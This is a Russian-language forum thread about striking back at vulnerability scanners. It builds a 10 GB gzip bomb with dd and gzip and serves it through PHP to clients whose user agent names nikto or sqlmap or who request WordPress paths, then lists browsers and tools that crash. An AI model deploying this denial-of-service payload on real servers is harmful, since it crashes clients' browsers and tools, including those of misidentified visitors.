ФорумРазработка → Народное средство от сглаза
2018-02-06 10:44:22
Если вы когда-нибудь размещали веб-сайт или даже администрировали сервера, то очень хорошо осведомлены о "плохих людях, которые пытаются сделать плохие вещи с вашими вещами". Если у вас есть сервер Linux с SSH, то он возможно уже подвергаются атаке. Вы можете увидеть сколько соединений каждый день делают попытки:
grep 'authentication failures' /var/log/auth.log

Сотни неудачных попыток даже несмотря на то, что этот сервер отключил проверку пароля и работает на нестандартном порту.

WordPress обрекает всех.

Если быть честным, web-сканеры уязвимостей существовали до Wordpress, но поскольку он так широко развернут, большинства сканеров включают сканирование для некоторых неправильно настроенных папок администратора или устаревших плагинов. Так что если захотеть, то можно скачать один из сканеров и начать тестирование, в надежде получить доступ к сайту и его порчу.

Вот почему всем администраторам серверов или веб-сайтов приходится иметь дело с гигабайтами логов, полным попыток сканирования. Поэтому мне было интересно…

Есть ли способ нанести ответный удар?
2018-02-06 10:45:14
После «танцев с бубном» с реализацией IDS или Fail2ban я вспомнил о старой доброй ZIP-бомбе.

Что такое ZIP-бомба?

Сжатие ZIP прекрасно с повторяющимися данными, так что если у вас есть действительно огромный текстовый файл, который состоит из повторяющихся данных, как например все нули, он будет сжимать его действительно хорошо. И это ОЧЕНЬ хорошо.

Как например 42.zip показывает нам, как можно сжать 4.5 Pb (4.500.000 Gb) файл до размера 42 Kb. Когда вы попытаетесь посмотреть на его содержание или распаковать, то скорее всего произойдет переполнение дискового пространства или ОЗУ.

Как использовать ZIP-бомбу против сканера уязвимостей?

К сожалению веб-браузеры не понимают ZIP, но они понимают GZIP. Так что сначала мы должны создать 10 GB файл GZIP, заполненый нулями. Мы могли бы сделать несколько сжатий, но давайте сейчас сделаем проще:
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
2018-02-06 10:46:41
Создание ZIP-бомбы и проверка ее размера.
Можем видеть, что это 10 Mb. Могли бы сделать лучше, но на сейчас достаточно. Теперь, когда мы создали эту веЩь, давайте настроим PHP скрипт, который будет доставлять его к клиенту:
<?php 
    //prepare the client to recieve GZIP data. This will not be suspicious 
    //since most web servers use GZIP by default 
    header("Content-Encoding: gzip"); 
    header("Content-Length: ".filesize('10G.gzip'));

    //Turn off output buffering 
    if (ob_get_level()) ob_end_clean();

    //send the gzipped file to the client 
    readfile('10G.gzip');
2018-02-06 10:48:26
Ну вот!
Так что мы могли бы использовать это в качестве простой обороны, например:

<?php 
    $agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT'); 

    //check for nikto, sql map or "bad" subfolders which only exist on wordpress 
    if (strpos($agent, 'nikto') !== false || 
        strpos($agent, 'sqlmap') !== false || 
        startswith($url,'wp-') || 
        startswith($url,'wordpress') || startswith($url,'wp/')) 
    { 
        sendBomb(); 
        exit(); 
    } 

    function sendBomb(){ 
        //prepare the client to recieve GZIP data. This will not be suspicious 
        //since most web servers use GZIP by default 
        header("Content-Encoding: gzip"); 
        header("Content-Length: ".filesize('10G.gzip')); 

        //Turn off output buffering 
        if (ob_get_level()) ob_end_clean(); 

        //send the gzipped file to the client 
        readfile('10G.gzip'); 
    } 

    function startsWith($a, $b) { 
        return strpos($a, $b) === 0; 
    }
2018-02-06 10:49:10
Таким образом. Что происходит, когда вызывается сценарий?
Клиент и результат

IE 11 – Переполнение памяти, падение IE
Chrome – Выскакивает ошибка о переполнение памяти
Edge – Переполнение памяти
Nikto – Кажется сканирование идет нормально и не выходит ошибку
SQLmap – Переполнение памяти до падения
Safari – Переполнение памяти, затем падает и перезагружается, и т.д…
Chrome (Android) – Выскакивает ошибка о переполнение памяти

Зарегистрируйтесь или авторизуйтесь, чтобы добавить сообщение